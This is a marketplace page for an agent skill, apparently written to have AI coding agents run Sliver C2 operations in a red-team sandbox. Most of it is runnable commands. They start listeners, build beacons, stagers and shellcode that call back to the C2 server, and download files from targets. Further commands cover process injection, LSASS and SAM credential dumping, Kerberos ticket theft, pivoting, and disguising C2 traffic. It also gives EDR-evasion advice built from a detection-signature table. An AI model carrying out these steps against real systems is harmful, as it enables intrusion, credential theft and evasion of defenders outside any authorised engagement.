# C2 Sliver > Sliver C2 framework operations — server connection, listener setup, implant generation, BOF/Armory extensions, post-implant operations, HTTP C2 profiles. - Skill: `purpleailab/c2-sliver` (Agent Skill, multi-file: 2 files) - Install (CLI): `npx skillmds@latest add purpleailab/c2-sliver` - Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/c2-sliver/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - Author: purpleailab (https://skillmd.com/u/purpleailab) - Updated: 2026-09-17 - Page: https://skillmd.com/skills/purpleailab/c2-sliver --- # Sliver C2 Framework Sliver is an open-source, cross-platform adversary emulation framework by BishopFox. It supports beacon (async) and session (interactive) implants over mTLS, HTTPS, DNS, and WireGuard channels with multi-operator support. ## Decepticon Setup > **Server**: `c2-sliver` container on `sandbox-net` (daemon mode, gRPC on port 31337) > **Client**: `sliver-client` pre-installed in sandbox > **Config**: Auto-generated operator config at `/workspace/.sliver-configs/decepticon.cfg` > > ### Connection Procedure (via bash tool) > ``` > # 1. Verify C2 reachable > bash(command="nc -z c2-sliver 31337 && echo 'C2_OK' || echo 'C2_DOWN'", description="Check the Sliver C2 server is reachable") > > # 2. Import operator config (once — skip if already imported) > bash(command="ls ~/.sliver-client/configs/ 2>/dev/null | grep -q . || sliver-client import /workspace/.sliver-configs/decepticon.cfg", description="Import the Sliver operator config if not already present") > > # 3. Start interactive console in dedicated tmux session > bash(command="sliver-client console", session="c2", description="Open the Sliver client console") > > # 4. Run Sliver commands interactively > bash(command="https --lhost 0.0.0.0 --lport 443 --domain c2-sliver", is_input=True, session="c2", description="Start an HTTPS listener on port 443") > bash(command="sessions", is_input=True, session="c2", description="List active Sliver sessions") > ``` > > **IMPORTANT**: > - Do NOT generate operator configs manually — use the pre-generated one at `/workspace/.sliver-configs/decepticon.cfg` > - Do NOT start `sliver-server` in sandbox — the server runs in its own container > - `sliver-client console` is interactive — MUST use a dedicated session (e.g. `session="c2"`) and send subsequent commands with `is_input=True` > - If "multiple configs found": `bash(command="sliver-client console --config ~/.sliver-client/configs/decepticon_c2-sliver.cfg", session="c2", description="Open the Sliver console with the explicit config")` ## 1. Listener Configuration > All commands below run inside the Sliver console (`session="c2"`, `is_input=True`). ### HTTPS Listener ```bash # Basic HTTPS listener on 443 https --lhost 0.0.0.0 --lport 443 --domain c2-sliver # HTTPS with custom certificate (better OPSEC) https --lhost 0.0.0.0 --lport 443 --domain c2-sliver \ --cert /workspace/certs/cert.pem \ --key /workspace/certs/key.pem # HTTPS with Let's Encrypt (requires DNS control) https --lhost 0.0.0.0 --lport 443 --domain c2-sliver --lets-encrypt ``` ### DNS Listener ```bash # DNS listener — requires NS record pointing to C2 server dns --domains c2. --lport 53 # Verify DNS resolution dig @c2-sliver test.c2. TXT +short ``` ### mTLS Listener ```bash # mTLS — encrypted, mutual authentication (recommended for internal pivoting) mtls --lhost 0.0.0.0 --lport 8888 # mTLS on non-standard port mtls --lhost 0.0.0.0 --lport 8443 ``` ### WireGuard Listener ```bash # WireGuard tunnel — full network access through implant wg --lhost 0.0.0.0 --lport 51820 ``` ## 2. Implant Generation > **CRITICAL — Compilation Timeout**: > Sliver's `generate` command **compiles a Go binary from source**. This takes 2-10 minutes > depending on options. The spinner animation (`⠴ Compiling, please wait ...`) keeps the > screen active, so stall detection will NOT trigger early. > > **Rules**: > 1. **ALWAYS use `--skip-symbols`** — reduces compilation time from ~5 min to ~30 sec > 2. **ALWAYS use `--save `** — saves implant directly to the target directory. > Do NOT rely on the default save location and then `cp` — file copy may fail on > bind-mounted volumes (WSL2/NTFS "Invalid argument" error). > 3. **Use a longer timeout** for generate commands: > `bash(command="generate ...", is_input=True, session="c2", timeout=300, description="Generate the Sliver implant")` > > **Example (correct)**: > ``` > bash(command="generate --os linux --arch amd64 --mtls c2-sliver:8888 --skip-symbols --save /workspace/exploit/", is_input=True, session="c2", timeout=300, description="Generate a Linux mTLS implant into the exploit directory") > ``` ### Beacon (Async) ```bash # Windows beacon via mTLS with jitter generate beacon --mtls c2-sliver:8888 --os windows --arch amd64 \ --seconds 30 --jitter 50 --skip-symbols \ --name win_beacon \ --save /workspace/exploit/ # Windows beacon via HTTPS generate beacon --https c2-sliver:443 --os windows --arch amd64 \ --seconds 60 --jitter 30 --skip-symbols \ --save /workspace/exploit/ # Linux beacon via DNS (low-and-slow) generate beacon --dns c2-sliver --os linux --arch amd64 \ --seconds 120 --jitter 70 --skip-symbols \ --name lin_dns \ --save /workspace/exploit/ ``` ### Session (Interactive) ```bash # Windows session — persistent connection, immediate response generate --mtls c2-sliver:8888 --os windows --arch amd64 \ --skip-symbols --name win_session \ --save /workspace/exploit/ # Linux session via HTTPS generate --https c2-sliver:443 --os linux --arch amd64 \ --skip-symbols --name lin_https \ --save /workspace/exploit/ ``` ### Stager (Small Initial Payload) ```bash # TCP stager — downloads full implant after initial execution generate stager --lhost c2-sliver --lport 8443 --protocol tcp \ --os windows --arch amd64 \ --save /workspace/exploit/stager.bin ``` ### Shellcode (For Custom Loaders) ```bash # Raw shellcode for process injection / custom droppers generate --mtls c2-sliver:8888 --os windows --arch amd64 \ --format shellcode --skip-symbols \ --save /workspace/exploit/shellcode.bin ``` ### Output Formats | Format | Flag | Use Case | |--------|------|----------| | EXE | `--format exe` | Direct execution | | Shared library | `--format shared` | DLL sideloading | | Shellcode | `--format shellcode` | Injection, custom loaders | | Service | `--format service` | Windows service persistence | ### OPSEC: Implant Hardening ```bash # Skip debug symbols (smaller, harder to reverse, MUCH faster compile) generate --mtls c2-sliver:8888 --os windows --skip-symbols # Limit implant size generate --mtls c2-sliver:8888 --os windows --format shellcode --skip-symbols ``` ## 3. Session & Beacon Management ```bash # List active sessions / beacons sessions beacons # Interact with session use # Interact with beacon use # Background current session background # Kill session sessions -k # Rename implant rename -n ``` ## 4. Post-Implant Operations ### Host Reconnaissance ```bash # After `use ` whoami # Current user getuid # User ID getgid # Group ID getprivs # Token privileges info # Full implant info # System enumeration shell systeminfo shell ipconfig /all shell net user shell net localgroup administrators shell tasklist /v # Environment env pwd ls ``` ### File Operations ```bash # Download from target download C:\\Users\\\\Documents\\sensitive.docx /workspace/post-exploit/loot/ # Upload tool to target upload /workspace/exploit/implants/SharpHound.exe C:\\Windows\\Temp\\ # List directory ls C:\\Users\\\\Desktop\\ ``` ### Process Operations ```bash # List processes ps # Process injection (migrate to another process for stealth) migrate # Execute .NET assembly in memory (no disk touch) execute-assembly /workspace/tools/Seatbelt.exe -group=all # Sideload DLL (reflective loading) sideload /workspace/tools/mimikatz.dll # Screenshot screenshot # Spawn new process shell notepad.exe ``` ### Credential Operations ```bash # Dump SAM hashes (requires SYSTEM/admin) hashdump # Kerberos ticket extraction execute-assembly /workspace/tools/Rubeus.exe dump # DPAPI credential access execute-assembly /workspace/tools/SharpDPAPI.exe triage # Comprehensive host audit execute-assembly /workspace/tools/Seatbelt.exe -group=all ``` ## 5. BOF / Armory (In-Memory Extensions) Beacon Object Files (BOFs) execute position-independent C code in the implant process — no new process creation, no disk writes. ### Armory (Package Manager) ```bash # List available extensions armory # Install extension from armory armory install sa-ldapsearch armory install nanodump armory install credman armory install situational-awareness # Update all installed extensions armory update ``` ### BOF Execution ```bash # LDAP enumeration (no LDAP tool needed on target) sa-ldapsearch -- "(objectClass=user)" sa-ldapsearch -- "(objectClass=computer)" # Process dump with nanodump (LSASS without Mimikatz) nanodump -w C:\\Windows\\Temp\\debug.dmp # Credential manager access credman # Situational awareness (whoami, env, network) situational-awareness ``` ### Why BOFs Over execute-assembly | Feature | BOF | execute-assembly | |---------|-----|------------------| | Process creation | None (runs in implant) | Fork & run (new process) | | Disk artifacts | None | .NET assembly loaded | | EDR visibility | Low (in-process) | Medium (CLR load event) | | Size | Small (KBs) | Larger (full .NET binary) | | Flexibility | C only | Any .NET assembly | ## 6. Network & Pivot Operations ### SOCKS5 Proxy ```bash # Route traffic through implant into target network socks5 start -p 1080 # Use from sandbox with proxychains: # proxychains nmap -sT -On ``` ### Port Forwarding ```bash # Forward local port to remote service through implant portfwd add -b 127.0.0.1:9090 -r :445 # List active port forwards portfwd # Remove forward portfwd rm -i ``` ### Reverse Port Forwarding ```bash # Expose sandbox service to target network via implant rportfwd add -b :8080 -r 127.0.0.1:8080 ``` ### Pivot Listener ```bash # Create pivot listener on compromised host — new implants connect through it pivots tcp --bind 0.0.0.0:9898 # Generate implant that connects via pivot generate --tcp-pivot :9898 --os windows ``` ### WireGuard Pivot ```bash # WireGuard port forward for full tunnel wg-portfwd add --remote :3389 --bind 127.0.0.1:3389 ``` ## 7. HTTP C2 Profile Custom profiles shape C2 traffic to mimic legitimate application traffic. ```json { "implant_config": { "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "url_parameters": [ { "name": "session", "value": "{{.GUID}}", "probability": 100 } ], "headers": [ { "name": "Accept", "value": "text/html,application/xhtml+xml", "probability": 100 }, { "name": "Accept-Language", "value": "en-US,en;q=0.9", "probability": 100 } ] }, "server_config": { "headers": [ { "name": "Content-Type", "value": "text/html; charset=utf-8", "probability": 100 }, { "name": "Server", "value": "Microsoft-IIS/10.0", "probability": 100 }, { "name": "X-Powered-By", "value": "ASP.NET", "probability": 100 } ] } } ``` Save to `profiles/sliver_https.json` and apply when starting HTTPS listener. ## 8. Detection Signatures (Sliver-Specific) | Indicator | Pattern | Mitigation | |-----------|---------|------------| | Default HTTP headers | `Server: Apache/2.4.x` + unique header combo | Use custom HTTP C2 profile | | Default URI patterns | `/login.php`, `/admin/login`, `/index.php` | Custom URI paths | | mTLS on non-standard ports | Outbound to unusual port (8888) | Use 443/8443 | | DNS TXT encoding | Base64 TXT > 255 bytes | Fragment, short polling | | Implant file hashes | Known Sliver samples in VirusTotal | `--skip-symbols`, custom loaders | | JA3/JA3S fingerprints | TLS patterns unique to Sliver | Process injection into browser | ## 9. Validation Criteria - [ ] `sliver-client` connects to `c2-sliver` server successfully - [ ] At least one listener active (HTTPS or mTLS) - [ ] Implant generated for target OS/architecture - [ ] Beacon callback confirmed with appropriate jitter - [ ] Session interaction works (`whoami`, `ps`, `ls`) - [ ] File upload/download operational - [ ] BOF execution validated (armory install + run) - [ ] Pivot infrastructure tested (SOCKS5 or port forward) - [ ] Backup C2 channel available (DNS fallback) - [ ] All C2 traffic encrypted ## Bundled Resources ### References - `references/sliver-quickstart.md` — Compact command reference for Sliver architecture, listeners, implant generation, post-implant ops, pivoting, and OPSEC.